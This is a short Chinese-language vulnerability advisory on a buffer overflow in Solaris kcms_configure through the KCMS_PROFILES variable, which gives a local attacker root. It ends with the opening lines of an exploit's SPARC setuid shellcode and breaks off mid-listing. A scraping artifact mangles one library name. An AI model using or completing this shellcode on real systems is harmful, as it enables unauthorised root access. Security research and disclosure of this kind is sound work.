|
Solaris kcms_configure 缓冲区溢出漏洞(1)
受影响的系统: Sun Solaris 8.0_x86 Sun Solaris 8.0 Sun Solaris 7.0_x86 Sun Solaris 7.0 Sun Solaris 2.6_x86 Sun Solaris 2.6 描述: BUGTRAQ ID: 2605 Solaris所带的配置工具 "kcms_configure" 易于遭受缓冲区溢出攻击,攻击者可以获取root权限。 kcms_configure使用到环境变量KCMS_PROFILES,而动态链接库kCSS技巧">CSSUNWIOsolf.so提供了对环境变量KCMS_PROFILES的解析功能。如果该环境变量的值超长,运行kcms_configure时就会发生缓冲区溢出,因为kcms_configure是setuid-to-root的,本地攻击者将获取root权限。 测试程序: 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! LSD了提供两种平台的测试程序 SPARC平台: /*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/ /*## kcsSUNWIOsolf.so #*/ #define NOPNUM 940 #define ADRNUM 32 #define PCHNUM 204 char setuidcode[]= "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ "\x82\x10\x20\x17" /* mov 0x17,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */
|